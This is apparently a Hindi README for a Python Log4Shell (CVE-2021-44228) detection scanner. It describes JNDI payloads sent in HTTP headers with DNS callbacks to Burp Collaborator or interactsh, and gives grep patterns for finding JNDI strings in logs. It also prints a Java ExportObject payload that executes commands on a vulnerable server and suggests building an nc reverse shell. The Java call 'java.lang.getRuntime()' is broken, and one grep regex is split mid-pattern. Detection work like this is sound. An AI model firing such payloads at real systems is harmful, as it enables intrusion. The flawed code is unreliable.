
मल्टीथ्रेडेड Python स्कैनर जो JNDI पेलोड के साथ क्राफ्टेड HTTP अनुरोध भेजकर और DNS कॉलबैक की निगरानी करके कमजोर होस्ट की पहचान करने के लिए Log4Shell (CVE-2021-44228) का पता लगाता है।
यह स्क्रिप्ट takito1812/log4j-detect पर आधारित है
ExodataCyberdefense द्वारा
Python 3 में विकसित स्क्रिप्ट "log4j-detect.py" यह जाँचने के लिए जिम्मेदार है कि क्या URL की सूची CVE-2021-44228 के प्रति संवेदनशील है।
ऐसा करने के लिए, यह निर्दिष्ट सूची में प्रत्येक URL पर थ्रेड्स (उच्च प्रदर्शन) का उपयोग करके GET अनुरोध भेजता है। GET अनुरोध में एक पेलोड होता है जो सफल होने पर Burp Collaborator / interactsh को DNS अनुरोध लौटाता है। यह पेलोड एक परीक्षण पैरामीटर और "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication" हेडर में भेजा जाता है। अंत में, यदि कोई होस्ट संवेदनशील है, तो Burp Collaborator / interactsh पेलोड के सबडोमेन उपसर्ग में और स्क्रिप्ट के आउटपुट में एक पहचान संख्या दिखाई देगी, जिससे यह पता चलेगा कि किस होस्ट ने DNS के माध्यम से प्रतिक्रिया दी है।
यह ध्यान दिया जाना चाहिए कि यह स्क्रिप्ट केवल भेद्यता का DNS पता लगाने को संभालती है और रिमोट कमांड निष्पादन का परीक्षण नहीं करती है।
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
यह जाँचने के लिए कि क्या किसी ने ldap सर्वर के माध्यम से कनेक्शन करने का प्रयास किया है
यहाँ कोड का एक नमूना है जिसे आप यह परीक्षण करने के लिए लॉन्च कर सकते हैं कि क्या आपका सर्वर पॉन्ड किया जा सकता है (यदि यह विंडोज़ शेल है तो आप केवल पॉवरशेल सिंटैक्स का उपयोग कर सकते हैं)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
ऐसा कुछ आपको nc कमांड के साथ रिवर्स शेल बनाने दे सकता है